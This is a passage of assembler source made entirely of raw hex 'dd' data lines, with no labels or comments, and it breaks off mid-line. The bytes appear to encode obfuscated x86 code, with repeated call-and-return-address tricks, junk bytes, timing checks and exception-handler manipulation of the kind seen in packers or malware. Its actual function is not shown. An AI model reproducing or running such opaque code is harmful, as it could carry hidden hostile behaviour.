7C895FC3h, 44810424h dd 140424h, 57470000h, 9D317BC3h, 5E717A1h, 78F6BB66h dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0FE43C356h, 0AF291F79h, 891426F0h dd 0E70BF595h, 0F2DF8105h, 8047423Dh, 6A04E1h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 5FAB95C3h, 0D2B7C6C3h, 0C90AB0EEh, 19E840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0C94E4FC3h, 9219589h, 9D8905E7h, 5E71CF9h, 699858Bh dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 31E019C3h, 0E717F195h, 9853305h, 8B05E713h dd 0E7211D9Dh, 0C59D0905h, 5005E711h, 0BF665250h, 310F38E8h dd 6E9h, 0A577B700h, 5A63BCAFh, 24048958h, 2860Fh, 99B70000h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0C61C39C3h, 68DA8B66h, 6D14CC07h, 880F5660h dd 0 dd 10E85Eh, 0CB910000h, 0A59EF037h, 165CC1D0h, 69326226h dd 0DE9419Ch, 0CB000000h, 40FEF81Ch, 67C77078h, 26C680FBh dd 34816158h, 0BCFF824h, 55006A6Dh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0AEF161D2h, 8AC03EFEh dd 860F51FDh, 2, 0FF5F6160h, 0E71B7195h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 862546CEh, 13800Fh, 0EE90000h, 44000000h, 0C1DEAF17h dd 0A3735BA2h, 0E71FD7EEh, 46858930h, 6A05EAA6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0D69CC352h, 17EE91Ch, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0CF8104C3h, 27EFBC9Bh dd 0A63E858Bh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 9813DDC3h, 4353E798h, 6DDB8060h dd 0C761CFB6h, 1800h, 0FB33BB00h, 0B58B3AECh, 5EAA642h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 10C35545h dd 6FD1BC45h, 30E07850h, 3D9D0B34h, 6005E72Fh, 24D5858Bh dd 958B05E7h, 5E717ADh, 89858B61h, 0BB05E732h, 6724378Dh dd 6895B56h, 0DE38156h, 5B353133h, 699858Bh, 9D8B05E7h dd 5E704A1h, 89044689h, 0E72171BDh, 9E99605h, 0B5000000h dd 0B2E37094h, 0C38205CEh, 9ADBB50h, 0F961091h, 0F80h dd 0AE900h, 0A1E40000h, 4AA4A134h, 0D8053C92h, 0A63EB5FFh dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0F8D1D4C3h, 38A0Fh, 8B660000h, 8D0B60D8h dd 5E72011h, 13C830BBh, 20686116h, 0BFAE0303h, 2BD0C9D3h dd 0DF240481h, 52521C00h, 10E8h, 9DCFB100h, 46D67603h dd 62431AFDh, 9C23B7EDh, 0A5BB66C3h, 8D5B5BB7h, 0EAA64685h dd 9D9D8B05h, 5005E728h, 6E58BF66h, 81240489h, 8C1197CBh dd 7195FF69h, 0BB05E71Bh, 4CAA18A0h, 53006A61h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 74D8878Ah dd 28F364A1h, 0EE9CCh, 83070000h, 0BEA34391h, 85521A62h dd 4AD7734Fh, 273985C7h, 305E7h, 83FC0000h, 0EAA646BDh dd 840F0005h, 66h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0F5C35040h, 890F7438h, 2, 56E9FB8Bh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 70ADC355h, 98B35BE2h, 13E98138h dd 93000000h, 0FE129581h, 327CF8BAh, 0ED32BEF3h, 85D22C47h dd 305021CFh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 2D8589C0h, 6A05E702h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 7302C350h dd 2739BD83h, 0F0305E7h, 4B085h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0DE85Eh, 9EEE0000h dd 0D7694F5Bh, 534BCC70h, 8B6C3767h, 0E724F1BDh, 0BD835B05h dd 5EAA646h, 6E840F00h, 66000004h, 0B5FFDF8Bh, 5EAA646h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E2C35343h dd 5E990h, 91DC0000h, 0FF2570E6h, 0E7021995h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8BFAA5A8h, 0EAA63AB5h, 106C705h, 6A000100h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0C7F0C355h, 0F88B96E7h, 6A9650h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 8FA1A1C3h dd 46B5FF74h, 6A05EAA6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0BBC6C353h, 37725348h dd 0BA18589h, 95FF05E7h, 5E70031h, 3B9B529h, 0B58B05E7h dd 5EAA63Ah, 0C16B6BBh, 7D858B05h, 6605E718h, 89DC78BFh dd 0C486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 5E6486B6h, 0BFC6ACDAh, 78D137CDh dd 1AA9958Bh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 71CDA0C3h, 0D98B6610h, 904C283h dd 0E72AED9Dh, 20508905h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0BC35646h, 0CF9D635Fh, 0F90C8A9h, 88Eh dd 85315100h, 5E70415h, 0C3858D5Fh, 6A05EABAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0CB24C355h, 8D89F8D8h, 5E72829h, 0B88689h, 8E0F0000h dd 3, 89DE8B66h, 0E722DD95h, 6A006A05h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 3CA2C350h dd 8977CA35h, 0E7040DB5h, 0C6BF6605h, 46B5FF4Eh, 0E905EAA6h dd 0Eh, 5CF1DFCBh, 101A5826h, 765AA1D2h, 95FF72DFh, 5E71ABDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A2C35141h dd 5800Fh, 63BF0000h, 504E77F5h, 0EE9h, 4791500h, 0B13DC8ACh dd 0B45B6D49h, 89BC91F2h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0AD7AB2C3h, 3E8B2167h dd 0E99BFACBh, 0Dh, 0E8CDA16Fh, 79C5AD80h, 0AC1CBFD4h dd 899D8BA0h, 0E905E719h, 6, 7B0625C6h, 0B5FF5963h, 5EAA646h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 9AC35141h dd 0AD8DDFF7h, 0B35BE270h, 0BEC0C781h, 95FF3743h, 5E70779h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 54C35646h dd 89591BC7h, 0E72C9DBDh, 0BE805h, 0A6780000h, 8EDC67D2h dd 6628BD37h, 7DBD8B3Bh, 5B05E705h, 2D0DBD83h, 0F0005E7h dd 3584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0DF267DACh, 1D9400E2h, 0A7B396FCh dd 8A0F9650h, 6, 2C51BD23h, 0B5FF05E7h, 5EAA646h, 3595FFF9h dd 6A05E724h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0C7D3C357h, 0A9697910h, 0FFCAE0D2h dd 0EAA646B5h, 298D8905h, 0F05E714h, 95FFDFB7h, 5E7076Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 53C35040h dd 0CBB785CAh, 0CFFFD56Dh, 2D85BD83h, 0F0205E7h, 8784h dd 0B5852900h, 0E805E703h, 8, 7EB0E8DDh, 8CD0FAh, 5E8h dd 0DE732800h, 12E9A2FDh, 3F000000h, 0FB3CA8D1h, 391C5A47h dd 26119E84h, 4EEEE8BBh, 8B5F5B7Ah, 0E7118585h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0EAFFCACDh, 0D4E6BDBDh, 0C6FCh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0F6C35343h, 0D4284B13h dd 0FB5F931Ch, 231985C7h, 5E7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BD3C6AC3h dd 0F34CE92Fh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 2F19E4C3h, 0C9BD8973h, 0B705E721h dd 6AC18BB2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0A9D7C351h, 7E9E0h, 45140000h dd 0D9682588h, 858DF5BEh, 5E71395h, 5EE78166h, 48950C6h dd 75850924h, 6A05E72Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 70EE92FCh, 81667BBDh dd 6AAC27DBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 1F1A610Dh, 0CD9D8980h, 8D05E715h dd 0EBD7B685h, 5C08305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0CDC35343h, 0F2C82B6Eh, 9185895Dh, 5005E717h dd 0EF8A6053h, 4895B61h, 0F7816624h, 6ACE93h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BBC35747h, 6AF5C1h dd 0AC6FD781h, 95FF588Bh, 5E71A4Dh, 14818D89h, 8D8D05E7h dd 5EAA4AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0EBC35646h, 0CAD94C90h, 66745243h, 0FFAEC2BFh dd 51006AD1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0B29091DEh, 51AC7EDh, 8DBD83FCh, 105E72Bh dd 0A1850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0A8EB59C3h, 0FC6CEF46h, 6A026Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 241CB7C3h, 0F50FA34h, 88Ah, 2840F00h, 8B000000h, 240489DAh dd 1C059D0Bh, 95FF05E7h, 5E71ABDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0FFC35646h, 0D134913Ah, 10E8h dd 8D294D00h, 0A6698C47h, 4E6C3B71h, 4F44C128h, 41BF66B8h dd 81665F97h, 0E98751DBh, 0F0Ah, 0E8h, 0ED815D00h, 5EBD7C0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C35040h dd 78EFD23Eh, 1FB27A69h, 0CE9h, 5342F200h, 406CB58Ch, 0D9A8E426h dd 8DFB8B7Eh, 0EA90FD85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 2AAAFB01h dd 0E8901AF4h, 11h, 2D9410ACh, 0D93F155Fh, 9345C10Bh, 418779D6h dd 0D88B6618h, 5250505Fh, 10E9h, 32EDBF00h, 0AFC3563Ah dd 7638872Ah, 0ED5926Dh, 66310FD8h, 585AFA8Bh, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 5C01CAE7h, 0B5890D56h, 5E70B19h, 35FF64h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 4ABCC352h, 24BF6CBAh, 8BB187A9h, 0E71861BDh dd 366CBF05h, 89645BD6h, 25h, 61B50900h, 0FF05E72Dh, 0E714FD85h dd 840F6005h, 3, 0FC78B66h, 28Dh, 61616000h, 6AFF6Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 495F31C3h, 9D8B4413h, 5E7060Dh, 1D15B5FFh, 6A05E7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0B857CFC3h, 0AE898h, 0B1DA0000h, 313174E8h, 370CBF44h dd 5195FF5Fh, 0E905E704h, 12Dh, 1A91BD89h, 0B005E7h, 8E960h dd 9AC30000h, 35051338h, 9D8BFE19h, 5E71841h, 0F70E661h dd 686h, 6D9D0100h, 0E405E72Eh, 659D0171h, 3C05E706h, 0F2830F61h dd 80000000h, 0B60FC7F3h, 759D8BC8h, 0BA05E729h, 6, 0B8D78166h dd 0E9C18B74h, 0Dh, 0EBA35E1Fh, 0F352109Ah, 1D2E2F5Eh dd 96D8BBDBh, 0E8C1481Eh, 0C1BD8904h, 6605E707h, 0BF66E2F7h dd 0C82B6E8Ah, 10E9h, 84FCD100h, 0D3DF9D33h, 0E5B6DB48h dd 33736BC0h, 89D18B42h, 0E7159DB5h, 8FE905h, 85890000h dd 5E71F99h, 4858Bh, 0EB810000h, 48F0F538h, 0F07C083h dd 282h, 8BDA8A00h, 0E71CD1BDh, 0C08305h, 0FD03BF9h, 1983h dd 0B5858900h, 6605E705h, 0DFDFCB81h, 50E9h, 3830F00h dd 66000000h, 8D8BD88Bh, 0FFFFFFFFh, 6264DB81h, 0E18356D9h dd 32840F01h, 60000000h, 7E9h, 8F2BC300h, 7613135Eh, 0A45B58Bh dd 836105E7h, 0FFFFFFA5h, 0D88BFEFFh, 49589h, 860F0000h dd 4, 919FBF66h, 0E9h, 49B58D00h, 8905EB55h, 0E716BD85h dd 0E8006A05h, 11h, 1FCF63F1h, 4969592Fh, 0C9493535h, 1AC8E326h dd 0ED8D89A0h, 5F05E713h, 2961BB66h, 21C195FFh, 6A05E7h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0B9CC1EC3h, 50AEA485h, 0D046BB66h, 0FCBB95Bh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 70E691C3h, 0BCC08025h, 8F0FC602h, 6, 2A759D89h, 0AE905E7h dd 0D5000000h, 5E00CCD7h, 218AAC5Eh, 0FCE18350h, 0C8E0Fh dd 830F0000h, 6, 8C0Fh, 6AFC0000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 7D61C350h dd 16820F89h, 0E9000000h, 11h, 0D1840DEh, 0FF2B530Fh, 1BFFC145h dd 68387911h, 0FBF1BB72h, 0C02B4DF3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0D1C35141h, 0A16AE8D7h, 24298529h dd 0BB6605E7h, 0D22BAD93h, 0FE9h, 11B28C00h, 645F3632h dd 0C370B4A1h, 0ECC70F21h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9EC35040h dd 5BB3A8F9h, 6ADF8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 58ACF4C3h, 0CD0A29F0h, 880D6CC3h dd 8B000000h, 0E709F5BDh, 0A9958B05h, 0E905E71Ah, 12h dd 0C14C38h, 3BE527Dh, 75115F49h, 0E1FB36F6h, 8D8B350Ah dd 5E72A4Dh, 27FD9D8Bh, 8B5005E7h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0B3C35545h, 0ECD159BBh, 83F88B75h, 0E71865BDh dd 840F0005h, 80h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 10C35040h, 0BD897AA6h, 5E70425h, 0B8h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 10CD591Bh, 1BABB1AFh, 2ECD8D29h, 8D8D05E7h dd 5E74D24h, 0FFFAB70Fh, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 4E3C6DD0h, 12BC30F8h dd 2739BD83h, 0F0005E7h, 41D84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 1514D235h dd 859D8B66h, 8B05E70Bh, 0E71C699Dh, 0ED858905h, 8305E701h dd 0E72739BDh, 840F0105h, 3F9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h dd 1Bh, 8C35545h, 25FAB58Ah, 313ED502h, 0E731B99Dh, 39BD8305h dd 305E727h, 38D860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8166FBC3h, 6007F5E3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 53C35242h dd 0E1953195h, 6605E70Ah, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0D5CA83C3h, 0E1801836h dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0F83AB423h, 1711BD09h, 0C90A05E7h, 0D5840Fh dd 95010000h, 5E722DDh, 699858Bh, 850105E7h, 5E716E1h dd 199D3356h, 5F05E733h, 13098533h, 0BD8B05E7h, 5E72CF1h dd 24048950h, 83F38166h, 6A006AF9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0AB64C357h dd 1D31A8ECh, 4E85474h, 0FF000000h, 66001F03h, 50FD9BBFh dd 43EE3EBBh, 24448B5Ah, 8BFA8B04h, 24448900h, 13E804h dd 8C480000h, 1AB9EB98h, 6A794347h, 0C8173718h, 2E4639BEh dd 0B35BF56h, 585B05C1h, 20F1BD2Bh, 95FF05E7h, 5E71B71h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0ABC35545h dd 0F98B66B3h, 0A6468589h, 958905EAh, 5E709F5h, 1ADE9h dd 0DBD0300h, 8B05E729h, 0EAA63E85h, 9ACEBB05h, 0C74F94h dd 18h, 49B589h, 0B58B05E7h, 5EAA642h, 369CF81h, 39B76B9Bh dd 3289858Bh, 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 709A2C3h, 0C8368563h, 3674BF97h dd 0B4B37C06h, 6A0689h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 7CA423C3h, 89C2B63Eh, 0E717FDBDh dd 33DB305h, 0E72CE99Dh, 99858B05h, 6A05E706h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 5525C350h, 3558D89h, 0DE905E7h, 0EE000000h, 1870E30Eh dd 0E3F5151Dh, 0B44B2F21h, 0BF044689h, 228E26Ch, 8E996h dd 0BFCF0000h, 60F9A6E1h, 60505F98h, 0BA66FEB7h, 9661ADA7h dd 0C2EF8166h, 3EB5FFE1h, 6A05EAA6h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 66C3C357h dd 0A48DB49Ch, 145D9501h, 0DE6805E7h, 0F017AA2h, 8Fh, 24348100h dd 165A121h, 0A350EF81h, 858D73BFh, 5EAA646h, 1CF18D31h dd 0FE805E7h, 98000000h, 0E1140ED9h, 56E474EDh, 8EB7A245h dd 5E8A5D8h, 0C1000000h, 0CD2D423Ch, 5BFA8B66h, 14E8905Bh dd 33000000h, 0E03DF16Eh, 0FDB0BD8Fh, 6DD08154h, 30F84E3Ch dd 507F12BCh, 0F616052h, 0F525031h, 5A585A31h, 50505F58h dd 27BDBF52h, 310F761Fh, 5ADF8B66h, 9D019058h, 5E70939h dd 1B7195FFh, 815705E7h, 444820DFh, 6A615B5Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 9B69C352h, 85C77419h, 5E72739h, 3, 0E9DE8B66h, 0Ch dd 0C78E2C23h, 2E645665h, 25B92CC4h, 0A646BD83h, 0F0005EAh dd 2E84h, 44E900h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 362D35C3h, 0BD2366A0h dd 31BD8B7Ch, 5005E70Ch, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 9D8BC08Bh, 5E7152Dh, 0DF69BF66h dd 83DFBF0Fh, 0E72739BDh, 850F0305h, 521h, 28219D8Bh, 0BD8B05E7h dd 5E72B65h, 0A646BD83h, 0F0005EAh, 50884h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0C8F03105h, 9D8BFC81h, 5E72975h, 57FB8B66h, 5BF88B66h dd 0A646B5FFh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 13751CC3h, 0DFF79AF0h, 8B57AD8Dh dd 0B5015BD9h, 5E70E91h, 2351BD8Bh, 95FF05E7h, 5E70219h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A0C35040h dd 4235C4FDh, 818D29ACh, 8B05E71Ah, 0E706A99Dh, 3AB58B05h dd 6005EAA6h, 66F08B66h, 61E1DEBEh, 306FEF81h, 6C715E9h dd 10001h, 2C059D31h, 509605E7h, 0BB666052h, 0DE97E84h dd 17000000h, 51973F73h, 89E31D86h, 0F652A5D0h, 66310F61h dd 5A5933BFh, 0B9605058h, 70AD848Fh, 12E957h, 273A0000h dd 0A67907EFh, 60C5DAC1h, 0BB2858F4h, 35467DAh, 6A966159h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 7704C357h, 7DB58948h, 8905E731h, 0E719FD85h dd 46B5FF05h, 6A05EAA6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 5062C353h, 0BE308A15h dd 0E9DA8BD1h, 8, 3C68768h, 0F2171111h, 3195FFh, 6A05E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 654C7CC3h, 157D9509h, 816605E7h, 8B1E48D7h, 0EAA63AB5h dd 85895705h, 5E712B1h, 0B589605Fh, 5E729B5h, 0FB8B6651h dd 858B615Fh, 5E7187Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 6FC35040h, 31482BEEh, 0E709E595h, 419D8905h dd 8905E714h, 0C486h, 899D8B00h, 8B05E71Ch, 0E70E95BDh dd 0A9958B05h, 0F05E71Ah, 1A8Fh, 12E800h, 1FD50000h, 6C76A9D5h dd 0C22C17FBh, 5F37D00Bh, 2AE769FFh, 835F6160h, 6A04C2h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0F0450CC3h, 0F4DCB5FCh, 0E914D6E4h, 0Bh, 0F7679304h dd 0E36D41A2h, 89D30559h, 6A2050h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0B6479C3h, 413BB4E2h dd 8D76CF44h, 0EABAC385h, 13800F05h, 0E9000000h, 0Eh, 91106F11h dd 5E6EB632h, 52BD513Ch, 8689FAFEh, 0B8h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0E8C35343h, 1A3404C1h dd 22E59D2Bh, 6A05E7h, 0B6F38166h, 46B5FFB5h, 6A05EAA6h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0D3B3C355h, 258EBADCh, 0DA8B665Eh, 6820F56h dd 89000000h, 0E72ECD95h, 95FF5B05h, 5E71ABDh, 81FAC380h dd 3757BFD3h, 0B7509675h, 6A9668h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0FE912C3h, 0DE000000h dd 7BA00166h, 0F75A9875h, 0F37CC71Fh, 5E82740h, 6000000h dd 254FC7C8h, 0C319BF66h, 46B5FF5Fh, 6A05EAA6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 4A4EC352h, 0A087E264h, 8B910CC1h, 0E70C319Dh, 7995FF05h dd 6A05E707h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0E04AC355h, 0D58509D2h, 8305E722h dd 0E72D0DBDh, 840F0005h, 49h, 6696FB8Bh, 5050FE8Bh, 5E852h dd 36B00000h dd 0E8B237CDh, 8, 0AE7559F3h, 3C8108BAh, 310F5F5Bh, 5E9h dd 0D3F58500h, 585A92BEh, 0CE896h, 4F200000h, 0F14443E4h dd 23061DBBh, 0BF0F3E1Dh, 0B70F5FDAh, 46B5FFFBh, 6A05EAA6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0C1EAC350h, 95FF2C36h, 5E72435h, 636BF66h dd 0A646B5FFh, 0DE905EAh, 10000000h, 0DAD18E0h, 65609CD2h dd 0A62CE19h, 76D95FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0D4A839C3h, 0CA1BC29Ch dd 0BD83247Dh, 5E72D85h, 59840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0FD6C355h, 0D1D8DA22h, 82750553h, 85858BF9h, 6A05E711h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0F9DFC351h, 0BF1B5D3Fh, 0D98BECDDh, 0BF0000C6h dd 32030652h, 231985C7h, 5E7h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0B3F0C2C3h dd 2EBB669Fh, 0F24AE974h, 6AFFFFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 6667F3C3h, 0D636D381h dd 8B52C18Bh, 0E71CB19Dh, 858D5F05h, 5E71395h, 8E8h, 19419600h dd 0CAAA1B62h, 0FA8B66F6h, 0BF66505Bh, 48950F8h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0C0BFE8F2h, 0BB665EC5h, 6A90A0h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0BEC35343h, 51F969A9h, 0F707DDD0h dd 0D187BF66h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8D7261C3h, 0EBE8C985h, 0DE905h dd 0AD270000h, 0AC7CD2h, 3B42CA7Eh, 83851A47h, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0D6F5C6C3h, 758C937Bh, 5024CE03h, 89D88B66h, 820F2404h dd 1, 6A006AF9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 7CD4C353h, 8267384Eh, 31EFE05Dh dd 0E7180D9Dh, 0B7006A05h, 4D95FF82h, 2905E71Ah, 0E71885B5h dd 0AA8D8D05h, 6605EAA4h, 0F71DE381h, 20D1BD31h, 0D1FF05E7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F4C35141h dd 34891F19h, 39BD8B49h, 8305E718h, 0E72B8DBDh, 850F0105h dd 0A6h, 242DBD89h, 26A05E7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 3AC35343h, 13E945h, 78E50000h dd 40A765Fh, 57CEB407h, 0EA3DE3B1h, 0D919D6F3h, 830F501Dh dd 6, 60E88A60h, 4896161h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 5730D942h dd 419D8B33h, 0F05E724h, 188h, 95FFF500h, 5E71ABDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0B5C35747h, 0FB9CBBEAh dd 16F59589h, 74E905E7h, 0E800000Dh, 0 dd 0D3ED815Dh, 5005EBE8h, 206EBB66h, 56006A5Bh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0E37C5733h dd 0FD858D5Eh, 105EA90h, 0E7130D95h, 8DBD8B05h, 5005E711h dd 1240489h, 0E72BB98Dh, 35FF6405h, 0 dd 1839BD8Bh, 896405E7h, 25h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0E0C92B55h dd 1F9395Bh, 0D9B58971h, 0FF05E71Bh, 0E714FD85h, 1840F05h dd 0F9000000h, 0B5FFFF6Ah, 5E71555h, 45195FFh, 0DAE905E7h dd 89000000h, 0E71A3995h, 8B00B005h, 0E719F5BDh, 8B70E605h dd 